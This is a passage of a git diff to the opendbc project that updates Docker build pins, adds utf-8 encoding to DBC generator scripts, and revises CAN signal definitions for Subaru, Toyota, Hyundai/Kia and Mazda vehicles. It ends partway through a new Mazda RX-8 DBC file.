--no-cache-dir pre-commit==2.15.0 pylint==2.5.2 +RUN pip install --no-cache-dir pre-commit==2.15.0 pylint==2.17.4 ENV PYTHONPATH=/project @@ -49,7 +49,7 @@ RUN git config --global --add safe.directory '*' WORKDIR /project RUN git clone https://github.com/commaai/cereal.git /project/cereal && \ cd /project/cereal && \ - git checkout 959ff79963b80829be9902d146c31fda44dbbd20 && \ + git checkout aed9fd278a704816aba11f4473aafefc281ed2bc && \ rm -rf .git && \ scons -j$(nproc) diff --git a/opendbc/can/common.pxd b/opendbc/can/common.pxd index 2d3a8eefd..aeb1f0a92 100644 --- a/opendbc/can/common.pxd +++ b/opendbc/can/common.pxd @@ -3,10 +3,8 @@ from libc.stdint cimport uint8_t, uint16_t, uint32_t, uint64_t from libcpp cimport bool -from libcpp.map cimport map from libcpp.string cimport string from libcpp.vector cimport vector -from libcpp.unordered_set cimport unordered_set ctypedef unsigned int (*calc_checksum_type)(uint32_t, const Signal&, const vector[uint8_t] &) @@ -54,7 +52,6 @@ cdef extern from "common_dbc.h": uint32_t address string name - cdef struct MessageParseOptions: uint32_t address int check_frequency @@ -72,7 +69,7 @@ cdef extern from "common_dbc.h": cdef extern from "common.h": - cdef const DBC* dbc_lookup(const string); + cdef const DBC* dbc_lookup(const string) cdef cppclass CANParser: bool can_valid diff --git a/opendbc/can/libdbc.so b/opendbc/can/libdbc.so index 79aa7d00c..8b8f60fbb 100755 Binary files a/opendbc/can/libdbc.so and b/opendbc/can/libdbc.so differ diff --git a/opendbc/can/packer_pyx.so b/opendbc/can/packer_pyx.so index d38c2ff0f..e720e1229 100755 Binary files a/opendbc/can/packer_pyx.so and b/opendbc/can/packer_pyx.so differ diff --git a/opendbc/can/parser_pyx.so b/opendbc/can/parser_pyx.so index 20c7731ec..cbfa33502 100755 Binary files a/opendbc/can/parser_pyx.so and b/opendbc/can/parser_pyx.so differ diff --git a/opendbc/generator/chrysler/_stellantis_common_ram.py b/opendbc/generator/chrysler/_stellantis_common_ram.py index b117db0dd..5072985eb 100755 --- a/opendbc/generator/chrysler/_stellantis_common_ram.py +++ b/opendbc/generator/chrysler/_stellantis_common_ram.py @@ -32,7 +32,7 @@ if __name__ == "__main__": chrysler_path = os.path.dirname(os.path.realpath(__file__)) for out, addr_lookup in chrysler_to_ram.items(): - with open(os.path.join(chrysler_path, src)) as in_f, open(os.path.join(chrysler_path, out), 'w') as out_f: + with open(os.path.join(chrysler_path, src), encoding='utf-8') as in_f, open(os.path.join(chrysler_path, out), 'w', encoding='utf-8') as out_f: out_f.write(f'CM_ "Generated from {src}"\n\n') wrote_addrs = set() diff --git a/opendbc/generator/generator.py b/opendbc/generator/generator.py index 9d5b37b5d..214c8fb1a 100755 --- a/opendbc/generator/generator.py +++ b/opendbc/generator/generator.py @@ -11,7 +11,7 @@ generated_suffix = '_generated.dbc' def read_dbc(src_dir: str, filename: str) -> str: - with open(os.path.join(src_dir, filename)) as file_in: + with open(os.path.join(src_dir, filename), encoding='utf-8') as file_in: return file_in.read() @@ -23,7 +23,7 @@ def create_dbc(src_dir: str, filename: str, output_path: str): output_filename = filename.replace('.dbc', generated_suffix) output_file_location = os.path.join(output_path, output_filename) - with open(output_file_location, 'w') as dbc_file_out: + with open(output_file_location, 'w', encoding='utf-8') as dbc_file_out: dbc_file_out.write('CM_ "AUTOGENERATED FILE, DO NOT EDIT";\n') for include_filename in includes: diff --git a/opendbc/generator/hyundai/hyundai_kia_mando_corner_radar.py b/opendbc/generator/hyundai/hyundai_kia_mando_corner_radar.py index d4bcf67e5..aad417e32 100755 --- a/opendbc/generator/hyundai/hyundai_kia_mando_corner_radar.py +++ b/opendbc/generator/hyundai/hyundai_kia_mando_corner_radar.py @@ -5,7 +5,7 @@ import os if __name__ == "__main__": dbc_name = os.path.basename(__file__).replace(".py", ".dbc") hyundai_path = os.path.dirname(os.path.realpath(__file__)) - with open(os.path.join(hyundai_path, dbc_name), "w") as f: + with open(os.path.join(hyundai_path, dbc_name), "w", encoding='utf-8') as f: f.write(""" VERSION "" diff --git a/opendbc/generator/hyundai/hyundai_kia_mando_front_radar.py b/opendbc/generator/hyundai/hyundai_kia_mando_front_radar.py index 8870bf0cd..ee8dde64d 100755 --- a/opendbc/generator/hyundai/hyundai_kia_mando_front_radar.py +++ b/opendbc/generator/hyundai/hyundai_kia_mando_front_radar.py @@ -4,7 +4,7 @@ import os if __name__ == "__main__": dbc_name = os.path.basename(__file__).replace(".py", ".dbc") hyundai_path = os.path.dirname(os.path.realpath(__file__)) - with open(os.path.join(hyundai_path, dbc_name), "w") as f: + with open(os.path.join(hyundai_path, dbc_name), "w", encoding='utf-8') as f: f.write(""" VERSION "" diff --git a/opendbc/generator/subaru/_subaru_global.dbc b/opendbc/generator/subaru/_subaru_global.dbc index 96ca9bab3..489c4dd85 100644 --- a/opendbc/generator/subaru/_subaru_global.dbc +++ b/opendbc/generator/subaru/_subaru_global.dbc @@ -83,10 +83,14 @@ BO_ 314 Wheel_Speeds: 8 XXX SG_ FL : 51|13@1+ (0.057,0) [0|255] "kph" XXX SG_ RL : 38|13@1+ (0.057,0) [0|255] "kph" XXX -BO_ 280 STOP_START: 8 XXX +BO_ 280 Steering_Torque_2: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX - SG_ State : 63|1@1+ (1,0) [0|1] "" XXX + SG_ Steer_Torque_Output : 13|11@1- (-10,0) [0|255] "" XXX + SG_ Signal1 : 24|8@1+ (1,0) [0|511] "" XXX + SG_ Steer_Torque_Sensor : 45|11@1- (-1,0) [0|255] "" XXX + SG_ Steering_Active : 61|1@0+ (1,0) [0|1] "" XXX + SG_ Steering_Disabled : 63|1@1+ (1,0) [0|1] "" XXX BO_ 281 Steering_Torque: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX @@ -98,6 +102,11 @@ BO_ 281 Steering_Torque: 8 XXX SG_ Steering_Angle : 32|16@1- (-0.0217,0) [-600|600] "" X SG_ Steer_Torque_Output : 48|11@1- (-10,0) [-1000|1000] "" XXX +BO_ 282 Steering_2: 8 XXX + SG_ CHECKSUM : 0|8@1+ (1,0) [0|1] "" XXX + SG_ COUNTER : 8|4@1+ (1,0) [0|1] "" XXX + SG_ Steering_Angle : 24|17@1- (-0.01,0) [0|1] "" XXX + BO_ 312 Brake_Pressure_L_R: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX @@ -127,12 +136,19 @@ BO_ 290 ES_LKAS: 8 XXX SG_ LKAS_Output : 16|13@1- (-1,0) [-8191|8191] "" XXX SG_ LKAS_Request : 29|1@0+ (1,0) [0|1] "" XXX +BO_ 292 ES_LKAS_ANGLE: 8 XXX + SG_ CHECKSUM : 0|8@1+ (1,0) [0|1] "" XXX + SG_ COUNTER : 8|4@1+ (1,0) [0|1] "" XXX + SG_ LKAS_Request : 12|1@1+ (1,0) [0|1] "" XXX + SG_ LKAS_Output : 40|17@1- (-0.01,0) [0|1] "deg" XXX + SG_ SET_3 : 60|2@1+ (1,0) [0|1] "" XXX + BO_ 544 ES_Brake: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX SG_ Signal1 : 12|4@1+ (1,0) [0|15] "" XXX SG_ Brake_Pressure : 16|16@1+ (1,0) [0|65535] "" XXX - SG_ Signal2 : 32|4@1+ (1,0) [0|15] "" XXX + SG_ AEB_Status : 32|4@1+ (1,0) [0|15] "" XXX SG_ Cruise_Brake_Lights : 36|1@1+ (1,0) [0|1] "" XXX SG_ Cruise_Brake_Fault : 37|1@1+ (1,0) [0|1] "" XXX SG_ Cruise_Brake_Active : 38|1@1+ (1,0) [0|1] "" XXX @@ -240,6 +256,9 @@ BO_ 1677 Dash_State: 8 XXX CM_ SG_ 64 Throttle_Combo "Throttle Cruise + Pedal"; CM_ SG_ 313 Brake_Lights "Driver or Cruise Brake on"; CM_ SG_ 544 Cruise_Brake_Lights "1 = switch on brake lights"; +CM_ SG_ 544 Brake_Pressure "Winds down after cruise disabled. Also can be non-zero when likely preparing for AEB"; +CM_ SG_ 544 Signal3 "Usually goes to 2 if AEB_Status is 4"; +CM_ SG_ 544 AEB_Status "Occasionally is 4 instead of 8 while Brake_Pressure is non-zero, unsure why"; CM_ SG_ 801 PCB_Off "Pre-Collision Braking off"; CM_ SG_ 801 Brake_Lights "Driver or Cruise brake on"; CM_ SG_ 801 Cruise_State "0 = Normal, 1 = Hold+User Brake, 2 = Ready, 3 = Hold"; @@ -256,3 +275,4 @@ CM_ SG_ 802 LKAS_Dash_State "0 = Off, 1 = Ready, 2 = Active"; CM_ SG_ 802 LKAS_Right_Line_Visible "0 = Off, 1 = White, 2 = Green, 3 = Orange"; CM_ SG_ 912 UNITS "0 = Metric, 1 = Imperial"; CM_ SG_ 912 ICY_ROAD "1 = DASHLIGHT ON, 2 = WARNING, 3 = OFF"; +VAL_ 544 AEB_Status 12 "AEB related" 8 "AEB actuation" 4 "AEB related" 0 "No AEB actuation"; diff --git a/opendbc/generator/subaru/subaru_global_2017.dbc b/opendbc/generator/subaru/subaru_global_2017.dbc index 0d358aea0..d03a6a3f9 100644 --- a/opendbc/generator/subaru/subaru_global_2017.dbc +++ b/opendbc/generator/subaru/subaru_global_2017.dbc @@ -53,7 +53,7 @@ BO_ 576 CruiseControl: 8 XXX SG_ Cruise_Activated : 41|1@1+ (1,0) [0|1] "" XXX SG_ Signal2 : 42|22@1+ (1,0) [0|4194303] "" XXX -BO_ 803 INFOTAINMENT_STATUS: 8 XXX +BO_ 803 ES_Infotainment: 8 XXX SG_ CHECKSUM : 0|8@1+ (1,0) [0|255] "" XXX SG_ COUNTER : 8|4@1+ (1,0) [0|15] "" XXX SG_ LKAS_Blue_Lines : 15|4@0+ (1,0) [0|15] "" XXX diff --git a/opendbc/generator/toyota/_toyota_2017.dbc b/opendbc/generator/toyota/_toyota_2017.dbc index 1e30a5ae6..8b8edea7a 100644 --- a/opendbc/generator/toyota/_toyota_2017.dbc +++ b/opendbc/generator/toyota/_toyota_2017.dbc @@ -38,7 +38,7 @@ BU_: XXX DSU HCU EPS IPAS CGW BGM BO_ 36 KINEMATICS: 8 XXX SG_ ACCEL_Y : 33|10@0+ (0.03589,-18.375) [0|65535] "m/s^2" XXX SG_ YAW_RATE : 1|10@0+ (0.244,-125) [0|65535] "deg/s" XXX - SG_ STEERING_TORQUE : 17|10@0+ (1,-512) [0|65535] "" XXX + SG_ ACCEL_X : 17|10@0+ (0.03589,-18.375) [0|65535] "m/s^2" XXX BO_ 37 STEER_ANGLE_SENSOR: 8 XXX SG_ STEER_ANGLE : 3|12@0- (1.5,0) [-500|500] "deg" XXX @@ -75,8 +75,9 @@ BO_ 452 ENGINE_RPM: 8 CGW BO_ 466 PCM_CRUISE: 8 XXX SG_ GAS_RELEASED : 4|1@0+ (1,0) [0|1] "" XXX SG_ CRUISE_ACTIVE : 5|1@0+ (1,0) [0|1] "" XXX - SG_ STANDSTILL_ON : 12|1@0+ (1,0) [0|1] "" XXX - SG_ ACCEL_NET : 23|16@0- (0.001,0) [-20|20] "m/s^2" XXX + SG_ ACC_BRAKING : 12|1@0+ (1,0) [0|1] "" XXX + SG_ ACCEL_NET : 23|16@0- (0.0009765625,0) [-20|20] "m/s^2" XXX + SG_ NEUTRAL_FORCE : 39|16@0- (2,0) [-65536|65534] "N" XXX SG_ CRUISE_STATE : 55|4@0+ (1,0) [0|15] "" XXX SG_ CANCEL_REQ : 49|1@1+ (1,0) [0|1] "" XXX SG_ CHECKSUM : 63|8@0+ (1,0) [0|255] "" XXX @@ -217,8 +218,13 @@ BO_ 1041 ACC_HUD: 8 DSU SG_ PCS_INDICATOR : 7|2@0+ (1,0) [0|3] "" XXX SG_ FCW : 4|1@0+ (1,0) [0|1] "" XXX SG_ SET_ME_X20 : 15|8@0+ (1,0) [0|1] "" XXX + SG_ PCS_DUST : 34|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_TEMP : 35|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_DUST2 : 41|1@0+ (1,0) [0|0] "" XXX + SG_ PCS_TEMP2 : 42|1@0+ (1,0) [0|0] "" XXX SG_ SET_ME_X10 : 39|8@0+ (1,0) [0|1] "" XXX SG_ PCS_OFF : 40|1@0+ (1,0) [0|0] "" XXX + SG_ FRD_ADJ : 53|3@0+ (1,0) [0|0] "" XXX SG_ PCS_SENSITIVITY : 55|8@0+ (1,0) [0|1] "" XXX BO_ 1042 LKAS_HUD: 8 DSU @@ -235,7 +241,7 @@ BO_ 1042 LKAS_HUD: 8 DSU SG_ LDA_UNAVAILABLE : 16|1@0+ (1,0) [0|1] "" XXX SG_ LDA_SENSITIVITY : 18|2@0+ (1,0) [0|3] "" XXX SG_ LDA_SA_TOGGLE : 20|2@0+ (1,0) [0|3] "" XXX - SG_ LDA_SPEED_TOO_LOW : 21|1@0+ (1,0) [0|1] "" XXX + SG_ LDA_MESSAGES : 23|3@0+ (1,0) [0|1] "" XXX SG_ LDA_ON_MESSAGE : 31|2@0+ (1,0) [0|3] "" XXX SG_ REPEATED_BEEPS : 32|1@0+ (1,0) [0|1] "" XXX SG_ LANE_SWAY_TOGGLE : 43|1@0+ (1,0) [0|1] "" XXX @@ -259,6 +265,11 @@ BO_ 1043 TIME : 8 CGW SG_ GMTDIFF_MINUTES : 50|6@0+ (1,0) [0|0] "minutes" XXX SG_ SUMMER : 60|1@0+ (1,0) [0|0] "" XXX +BO_ 1044 AUTO_HIGH_BEAM: 8 FCM + SG_ AHB_DUTY : 47|8@0+ (0.5,0) [0|0] "%" Vector__XXX + SG_ F_AHB : 55|4@0+ (1,0) [0|0] "" Vector__XXX + SG_ C_AHB : 51|4@0+ (1,0) [0|0] "" Vector__XXX + BO_ 1083 AUTOPARK_STATUS: 8 IPAS SG_ STATE : 7|4@0+ (1,0) [0|15] "" XXX @@ -372,6 +383,8 @@ CM_ SG_ 36 YAW_RATE "verify"; CM_ SG_ 36 STEERING_TORQUE "does not seem the steer torque, tbd"; CM_ SG_ 37 STEER_FRACTION "1/15th of the signal STEER_ANGLE, which is 1.5 deg; note that 0x8 is never set"; CM_ SG_ 37 STEER_RATE "factor is tbd"; +CM_ SG_ 466 NEUTRAL_FORCE "force in newtons the engine/electric motors are applying without any acceleration commands or user input"; +CM_ SG_ 466 ACC_BRAKING "whether brakes are being actuated from ACC command"; CM_ SG_ 466 ACCEL_NET "net acceleration produced by the system, given ACCEL_CMD, road grade and other factors"; CM_ SG_ 466 CRUISE_STATE "Active state is 8, if standstill is requested will switch to state 11(3 sec timer), after timer is elapsed will switch into state 7(standstill). If plus button was pressed - status 9, minus button pressed - status 10"; CM_ SG_ 467 ACC_FAULTED "1 when ACC is faulted and the PCM disallows engagement"; @@ -404,13 +417,18 @@ CM_ SG_ 956 GEAR "on 6MT, only R shows."; CM_ SG_ 1009 UI_SET_SPEED "units seem to be whatever the car is set to"; CM_ SG_ 1041 PCS_INDICATOR "Pre-Collision System Indicator"; CM_ SG_ 1041 PCS_SENSITIVITY "Pre-Collision System Sensitivity"; +CM_ SG_ 1041 PCS_DUST "alert: Front Camera Low Visibility Unavailable See Owner's Manual"; +CM_ SG_ 1041 PCS_DUST2 "alert: Pre-Collision System Radar Sensor Blocked Unavailable Clean Radar Sensor"; +CM_ SG_ 1041 PCS_TEMP "alert: Front Camera Out of Temperature Range Unavailable Wait until Normal Temperature"; +CM_ SG_ 1041 PCS_TEMP2 "alert: Pre-Collision System Out of Temperature Range Unavailable See Owner's Manual"; +CM_ SG_ 1041 FRD_ADJ "alert: ERROR ADJUSTING FRONT RADAR BEAM"; CM_ SG_ 1042 LDA_SA_TOGGLE "LDA Steering Assist Toggle"; CM_ SG_ 1042 LDW_EXIST "Unclear what this is, it's usually set to 0"; CM_ SG_ 1042 LDA_SENSITIVITY "LDA Sensitivity"; CM_ SG_ 1042 LDA_ON_MESSAGE "Display LDA Turned ON message"; CM_ SG_ 1042 REPEATED_BEEPS "LDA audible warning"; CM_ SG_ 1042 LDA_UNAVAILABLE_QUIET "LDA toggles and sensitivity settings are greyed out if set to 1"; -CM_ SG_ 1042 LDA_SPEED_TOO_LOW "length is 3 bits in the leaked DBC, displays LDA unavailable below approx 50 km/h if set to 1"; +CM_ SG_ 1042 LDA_MESSAGES "Various LDA Messages"; CM_ SG_ 1042 LDA_FRONT_CAMERA_BLOCKED "originally LDAFCVB, LDA related settings are greyed out if set to 1"; CM_ SG_ 1042 TAKE_CONTROL "Please Control Steering Wheel warning"; CM_ SG_ 1042 LANE_SWAY_TOGGLE "Lane Sway Warning System SWS Switch"; @@ -474,7 +492,7 @@ VAL_ 1042 LEFT_LINE 3 "orange" 2 "faded" 1 "solid" 0 "none"; VAL_ 1042 LDA_ON_MESSAGE 2 "Lane Departure Alert Turned ON, Steering Assist Inactive" 1 "Lane Departure Alert Turned ON, Steering Assist Active" 0 "clear"; VAL_ 1042 LDA_SA_TOGGLE 2 "steering assist off" 1 "steering assist on"; VAL_ 1042 LDA_SENSITIVITY 2 "standard" 1 "high" 0 "undefined"; -VAL_ 1042 LDA_SPEED_TOO_LOW 1 "lda unavailable, speed too low" 0 "ok"; +VAL_ 1042 LDA_MESSAGES 4 "lda unavailable at this speed" 1 "lda unavailable below approx 50km/h" 0 "ok"; VAL_ 1042 LDA_FRONT_CAMERA_BLOCKED 1 "lda unavailable" 0 "ok"; VAL_ 1042 TAKE_CONTROL 1 "take control" 0 "ok"; VAL_ 1042 LANE_SWAY_WARNING 3 "ok" 2 "orange please take a break" 1 "prompt would you like to take a break" 0 "ok"; diff --git a/opendbc/generator/toyota/toyota_nodsu_pt.dbc b/opendbc/generator/toyota/toyota_nodsu_pt.dbc index fe0ab3232..909a198a3 100644 --- a/opendbc/generator/toyota/toyota_nodsu_pt.dbc +++ b/opendbc/generator/toyota/toyota_nodsu_pt.dbc @@ -10,7 +10,7 @@ BO_ 401 STEERING_LTA: 8 XXX SG_ STEER_ANGLE_CMD : 15|16@0- (0.0573,0) [-540|540] "" XXX SG_ STEER_REQUEST_2 : 25|1@0+ (1,0) [0|1] "" XXX SG_ LKA_ACTIVE : 26|1@0+ (1,0) [0|1] "" XXX - SG_ BIT : 30|1@0+ (1,0) [0|1] "" XXX + SG_ CLEAR_HOLD_STEERING_ALERT : 30|1@0+ (1,0) [0|1] "" XXX SG_ COUNTER : 6|6@0+ (1,0) [0|255] "" XXX SG_ STEER_REQUEST : 0|1@0+ (1,0) [0|1] "" XXX SG_ SETME_X1 : 7|1@0+ (1,0) [0|1] "" XXX @@ -27,6 +27,16 @@ BO_ 610 EPS_STATUS: 8 EPS SG_ TYPE : 24|1@0+ (1,0) [0|1] "" XXX SG_ CHECKSUM : 63|8@0+ (1,0) [0|255] "" XXX +BO_ 881 LTA_RELATED: 8 FCM + SG_ GAS_PEDAL : 15|8@0+ (0.005,0) [0|1] "" XXX + SG_ STEER_ANGLE : 23|16@0- (0.0573,0) [-500|500] "" XXX + SG_ TURN_SIGNALS : 35|2@0+ (1,0) [0|3] "" XXX + SG_ UNKNOWN_2 : 58|1@0+ (1,0) [0|1] "" XXX + SG_ LDA_SA_TOGGLE : 59|1@0+ (1,0) [0|1] "" XXX + SG_ LTA_STEER_REQUEST : 60|1@0+ (1,0) [0|1] "" XXX + SG_ UNKNOWN : 61|1@0+ (1,0) [0|1] "" XXX + SG_ STEERING_PRESSED : 63|1@0+ (1,0) [0|1] "" XXX + BO_ 1014 BSM: 8 XXX SG_ L_ADJACENT : 0|1@0+ (1,0) [0|1] "" XXX SG_ L_APPROACHING : 8|1@0+ (1,0) [0|1] "" XXX @@ -39,13 +49,22 @@ CM_ SG_ 401 PERCENTAGE "driver override percentage (0-100), very close to steeri CM_ SG_ 401 SETME_X64 "ramps to 0 smoothly then back on falling edge of STEER_REQUEST if BIT isn't 1"; CM_ SG_ 401 ANGLE "angle of car relative to lane center on LTA camera"; CM_ SG_ 401 STEER_ANGLE_CMD "desired angle, OEM steers up to 95 degrees, no angle limit but torque will bottom out"; -CM_ SG_ 401 BIT "has correlation to STEER_REQUEST"; +CM_ SG_ 401 CLEAR_HOLD_STEERING_ALERT "set to 1 when user clears LKAS_HUD->LDA_ALERT ('Hold Steering') by applying torque to steering wheel"; CM_ SG_ 401 STEER_REQUEST "enable bit for steering, 1 to steer, 0 to not"; CM_ SG_ 401 STEER_REQUEST_2 "enable bit for steering, 1 to steer, 0 to not"; CM_ SG_ 401 LKA_ACTIVE "1 when using LTA for LKA"; +CM_ SG_ 401 SETME_X1 "usually 1, seen at 0 on some South American Corollas indicating lack of stock Lane Tracing Assist"; +CM_ SG_ 401 SETME_X3 "almost completely correlates with Toyota Safety Sense version, but may instead describe max torque when using LTA. if TSS 2.5 or 2022 RAV4, this is always 1. if TSS 2.0 this is always 3 (or 0 on Alphard, Highlander, NX)"; CM_ SG_ 550 BRAKE_PRESSURE "seems prop to pedal force"; CM_ SG_ 550 BRAKE_POSITION "seems proportional to pedal displacement, unclear the max value of 0x1c8"; CM_ SG_ 610 TYPE "seems 1 on Corolla, 0 on all others"; +CM_ SG_ 881 GAS_PEDAL "not set on all cars, only seen on TSS 2.5 Camry Hybrid so far"; +CM_ SG_ 881 STEER_ANGLE "matches STEER_TORQUE_SENSOR->STEER_ANGLE"; +CM_ SG_ 881 TURN_SIGNALS "flipped on some cars"; +CM_ SG_ 881 LDA_SA_TOGGLE "not applicable for all cars"; +CM_ SG_ 881 LTA_STEER_REQUEST "only applicable for TSS 2.5: matches STEERING_LTA->STEER_REQUEST"; +CM_ SG_ 881 UNKNOWN "related to steering wheel angle"; +CM_ SG_ 881 STEERING_PRESSED "only applicable for TSS 2.5: low sensitivity steering wheel pressed by driver signal"; CM_ SG_ 1014 L_ADJACENT "vehicle adjacent left side of car. enabled above 10mph, regardless of ADJACENT_ENABLED or APPROACHING_ENABLED"; CM_ SG_ 1014 L_APPROACHING "vehicle approaching from left side of car. enabled above 10mph, regardless of ADJACENT_ENABLED or APPROACHING_ENABLED"; CM_ SG_ 1014 R_ADJACENT "vehicle adjacent right side of car. enabled above 10mph, regardless of ADJACENT_ENABLED or APPROACHING_ENABLED"; @@ -53,6 +72,7 @@ CM_ SG_ 1014 R_APPROACHING "vehicle approaching from right side of car. enabled CM_ SG_ 1014 ADJACENT_ENABLED "when BSM is enabled in settings, this is on along with APPROACHING_ENABLED. this controls bsm alert visibility"; CM_ SG_ 1014 APPROACHING_ENABLED "when BSM is enabled in settings, this is on along with ADJACENT_ENABLED. this controls bsm alert visibility"; +VAL_ 401 SETME_X3 3 "TSS 2.0" 1 "TSS 2.5 or 2022 RAV4" 0 "TSS 2.0 on Alphard, Highlander, NX"; VAL_ 610 IPAS_STATE 5 "override" 3 "enabled" 1 "disabled"; VAL_ 610 LKA_STATE 25 "temporary_fault" 17 "permanent_fault" 11 "lka_missing_unavailable2" 9 "temporary_fault2" 5 "active" 3 "lka_missing_unavailable" 1 "standby"; VAL_ 610 LTA_STATE 25 "temporary_fault" 9 "temporary_fault2" 5 "active" 3 "lta_missing_unavailable" 1 "standby"; diff --git a/opendbc/hyundai_kia_generic.dbc b/opendbc/hyundai_kia_generic.dbc index c14193440..f1af8f9d2 100644 --- a/opendbc/hyundai_kia_generic.dbc +++ b/opendbc/hyundai_kia_generic.dbc @@ -698,6 +698,7 @@ BO_ 1365 FPCM11: 8 FPCM BO_ 871 LVR12: 8 LVR SG_ CF_Lvr_CruiseSet : 0|8@1+ (1.0,0.0) [0.0|255.0] "" CLU,TCU + SG_ CF_Lvr_IsgState : 8|2@1+ (1.0,0.0) [0.0|3.0] "" CLU,TCU SG_ CF_Lvr_Gear : 32|4@1+ (1.0,0.0) [0.0|15.0] "" CLU,TCU BO_ 872 LVR11: 8 LVR @@ -1639,11 +1640,15 @@ BO_ 1042 ICM_412h: 8 ICM BO_ 1348 Navi_HU: 8 XXX SG_ SpeedLim_Nav_Clu : 7|8@0+ (1,0) [0|255] "" XXX + SG_ SpeedLim_Nav_General : 29|1@0+ (1,0) [0|1] "" XXX + SG_ SpeedLim_Nav_Cam : 30|1@0+ (1,0) [0|1] "" XXX CM_ "BO_ E_EMS11: All (plug-in) hybrids use this gas signal: CR_Vcu_AccPedDep_Pos, and all EVs use the Accel_Pedal_Pos signal. See hyundai/values.py for a specific car list"; +CM_ SG_ 871 CF_Lvr_IsgState "Idle Stop and Go"; CM_ SG_ 1348 SpeedLim_Nav_Clu "Speed limit displayed on Nav, Cluster and HUD"; VAL_ 274 CUR_GR 1 "D" 2 "D" 3 "D" 4 "D" 5 "D" 6 "D" 7 "D" 8 "D" 14 "R" 0 "P"; +VAL_ 871 CF_Lvr_IsgState 0 "enabled" 1 "activated" 2 "unknown" 3 "disabled"; VAL_ 871 CF_Lvr_Gear 12 "T" 5 "D" 8 "S" 6 "N" 7 "R" 0 "P"; VAL_ 882 Elect_Gear_Shifter 5 "D" 8 "S" 6 "N" 7 "R" 0 "P"; VAL_ 905 ACCMode 0 "off" 1 "enabled" 2 "driver_override" 3 "off_maybe_fault" 4 "cancelled"; diff --git a/opendbc/mazda_2017.dbc b/opendbc/mazda_2017.dbc index 2615b5044..5a5c40ef0 100644 --- a/opendbc/mazda_2017.dbc +++ b/opendbc/mazda_2017.dbc @@ -705,13 +705,13 @@ BO_ 1143 BSM: 8 XXX SG_ BSM_OFF : 0|1@0+ (1,0) [0|1] "" XXX SG_ RIGHT_BS_3 : 37|1@0+ (1,0) [0|1] "" XXX SG_ STANDSTILL : 8|1@0+ (1,0) [0|1] "" XXX - SG_ LEFT_BS1 : 12|1@0+ (1,0) [0|1] "" XXX + SG_ LEFT_BS_STATUS : 13|2@0+ (1,0) [0|3] "" XXX + SG_ RIGHT_BS_STATUS : 15|2@0+ (1,0) [0|3] "" XXX SG_ LEFT_BS3 : 38|1@0+ (1,0) [0|1] "" XXX SG_ RIGHT_BS4 : 39|1@0+ (1,0) [0|1] "" XXX SG_ LEFT_BS_SIDE : 36|1@0+ (1,0) [0|1] "" XXX SG_ IS_MOVING : 9|1@0+ (1,0) [0|1] "" XXX SG_ LEFT_BS_BEHIND : 46|2@1+ (1,0) [0|16777215] "" XXX - SG_ RIGHT_BS1 : 14|1@0+ (1,0) [0|63] "" XXX SG_ RIGHT_BS_DISTANCE : 35|3@0+ (1,0) [0|1] "" XXX SG_ NEW_SIGNAL_1 : 32|1@0+ (1,0) [0|1] "" XXX SG_ REAR_CT_ALERT : 23|5@0+ (1,0) [0|63] "" XXX @@ -788,3 +788,5 @@ CM_ SG_ 1143 REAR_CT_ALERT "Rear Cross Traffic Alert"; VAL_ 552 GEAR 1 "P" 2 "R" 3 "N" 4 "D" ; VAL_ 540 RADAR_HAS_LEAD 0 "NO LEAD" 1 "HAS LEAD" ; VAL_ 540 RADAR_LEAD_RELATIVE_DISTANCE 0 "NO LEAD" 1 "FARTHEST" 2 "4" 3 "3" 4 "2" 5 "NEAREST" ; +VAL_ 1143 LEFT_BS_STATUS 0 "No object detected" 1 "Object detected in left blindspot" 2 "Object detected in left blindspot with blinker - warning" +VAL_ 1143 RIGHT_BS_STATUS 0 "No object detected" 1 "Object detected in right blindspot" 2 "Object detected in right blindspot with blinker - warning" diff --git a/opendbc/mazda_rx8.dbc b/opendbc/mazda_rx8.dbc new file mode 100644 index 000000000..f491a9698 --- /dev/null +++ b/opendbc/mazda_rx8.dbc @@ -0,0 +1,77 @@ +VERSION "" + + +NS_ : + NS_DESC_ + CM_ + BA_DEF_ + BA_ + VAL_ + CAT_DEF_ + CAT_ + FILTER + BA_DEF_DEF_ + EV_DATA_ + ENVVAR_DATA_ + SGTYPE_ + SGTYPE_VAL_ + BA_DEF_SGTYPE_ + BA_SGTYPE_ + SIG_TYPE_REF_ + VAL_TABLE_ + SIG_GROUP_ + SIG_VALTYPE_ + SIGTYPE_VALTYPE_ + BO_TX_BU_ + BA_DEF_REL_ + BA_REL_ + BA_DEF_DEF_REL_ + BU_SG_REL_ + BU_EV_REL_ + BU_BO_REL_ + SG_MUL_VAL_ + +BS_: + +BU_: PowertrainControlModule InstrumentCluster ElectricPowerSteering AntilockBrakeSystem + + +BO_ 129 steering: 8 ElectricPowerSteering + SG_ SteeringAngle : 23|16@0- (1,0) [0|0] "deg" Vector__XXX + +BO_ 513 speed: 8 PowertrainControlModule + SG_ EngineRPM : 7|16@0+ (0.25,0) [0|0] "rpm" Vector__XXX + SG_ VehicleSpeed : 39|16@0+ (0.01,-100) [0|0] "kph" Vector__XXX + SG_ AcceleratorPos : 55|8@0+ (0.5,0) [0|0] "%" Vector__XXX + +BO_ 592 throttle_body: 8 PowertrainControlModule + SG_ IntakeAirTemperature : 31|8@0+ (1,-40) [0|0] "Cel" Vector__XXX + SG_ AcceleratorPedalSensorRaw : 23|8@0+ (1,0) [0|0] "" Vector__XXX + SG_ AcceleratorPedalSensorFiltered : 55|8@0+ (1,0) [0|0] "" Vector__XXX + +BO_ 658 brake_controls: 8 PowertrainControlModule + SG_ BrakePedalSwitch : 43|1@1+ (1,0) [0|0] "" Vector__XXX + SG_ ParkingBrakeSwitch : 38|1@1+ (1,0) [0|0] "" Vector__XXX + +BO_ 1056 coolant: 8 PowertrainControlModule + SG_ CoolantTemperature : 7|8@0+ (1,-40) [0|0] "Cel" Vector__XXX + +BO_ 1072 instrument_cluster: 8 InstrumentCluster + SG_ FuelLevel : 7|8@0+ (0.392156,0) [0|0] "%" Vector__XXX + SG_ FuelTankSensorLeft : 15|8@0+ (1,0) [0|0] "" Vector__XXX + SG_ 